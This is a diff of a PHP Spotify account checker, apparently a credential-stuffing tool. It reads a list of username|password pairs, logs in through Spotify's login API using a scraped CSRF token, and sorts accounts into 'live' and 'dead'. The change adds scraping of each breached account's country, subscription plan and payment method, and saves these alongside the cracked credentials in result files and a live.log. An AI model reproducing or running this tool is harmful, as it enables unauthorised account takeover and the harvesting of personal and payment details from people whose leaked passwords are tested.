|
2 | 2 | error_reporting(0); |
3 | 3 | /** |
4 | 4 | * Author : Wahyu Arif Purnomo |
5 | | - * Update : 2 September 2019 |
| 5 | + * Update : 3 September 2019 |
6 | 6 | * Please don't edit, respect me, if you want to be appreciated. |
7 | 7 | */ |
8 | | -$climate->br()->info('Delimiters "username or email|password'); |
9 | | -$input = $climate->br()->input('List?'); |
| 8 | + |
| 9 | +$input = $climate->input('List?'); |
10 | 10 | $list = $input->prompt(); |
11 | 11 |
|
12 | 12 | $input_save = $climate->info()->input('Save live results?'); |
|
47 | 47 |
|
48 | 48 | $login = http("https://accounts.spotify.com/api/login", $post, $headers); |
49 | 49 | if(preg_match('/{"displayName":"/', $login)){ |
50 | | - $climate->info( $no . '. Live | ' . $user . ' | ' . $pass . ' | Token : ' . $token . ''); |
| 50 | + $overview_page = http(urldecode("https://www.spotify.com/id/account/overview/")); |
| 51 | + |
| 52 | + preg_match_all('/,"paymentInfo":{"(.*)":{"name":"/', $overview_page, $ifelsepayment); |
| 53 | + if($ifelsepayment[1][0] == "paymentMethod") { |
| 54 | + preg_match_all('/paymentMethod":{"name":"(.*)","icon"/', $overview_page, $arifpayment); |
| 55 | + $pay = $arifpayment[1][0]; |
| 56 | + } else { |
| 57 | + $pay = "Kamu anggota dari paket Family."; |
| 58 | + } |
| 59 | + |
| 60 | + preg_match_all('/{"label":"Negara","value":"(.*)"}],/', $overview_page, $arifnegara); |
| 61 | + preg_match_all('/,"plan":{"name":"(.*)","branding":/', $overview_page, $arifsub); |
| 62 | + preg_match_all('/paymentMethod":{"name":"(.*)","icon"/', $overview_page, $arifpayment); |
| 63 | + |
| 64 | + $climate->info( $no . '. Live | ' . $user . ' | ' . $pass . ' | Negara : ' . $arifnegara[1][0] . ' | Paket : ' . $arifsub[1][0] . ' | Pembayaran : ' . $pay); |
51 | 65 | $save = fopen("result/" . $save_file, 'a'); |
52 | | - fwrite($save, $user . " | " . $pass . "\n"); |
| 66 | + fwrite($save, $user . " | " . $pass . " | " . $arifnegara[1][0] . " | " . $arifsub[1][0] . " | " . $pay . "\n"); |
| 67 | + |
| 68 | + $save_log = fopen("result/live.log", 'a'); |
| 69 | + fwrite($save_log, $user . " | " . $pass . "\n"); |
53 | 70 | }else{ |
54 | 71 | $climate->error( $no . '. Die | ' . $user . ' | ' . $pass . ' | Token : ' . $token . ''); |
55 | 72 | } |
|
58 | 75 | $climate->br()->shout('Done, your result live saved in folder : result/' . $save_file); |
59 | 76 |
|
60 | 77 | function Token(){ |
61 | | - $get = http("https://accounts.spotify.com/en-US/login?continue=https:%2F%2Fwww.spotify.com%2Fus%2Faccount%2Foverview%2F"); |
| 78 | + $get = http("https://accounts.spotify.com/id/login?continue=https:%2F%2Fwww.spotify.com%2Fus%2Faccount%2Foverview%2F"); |
62 | 79 | preg_match_all('/set-cookie: csrf_token=(.*?);Version=1;/', $get, $arif); |
63 | 80 | return $arif[1][0]; |
64 | 81 | } |
@@ -88,6 +105,6 @@ function http($url, $post = false, $headers = false) |
88 | 105 |
|
89 | 106 | /** |
90 | 107 | * Author : Wahyu Arif Purnomo |
91 | | - * Update : 2 September 2019 |
| 108 | + * Update : 3 September 2019 |
92 | 109 | * Please don't edit, respect me, if you want to be appreciated. |
93 | 110 | */ |
0 commit comments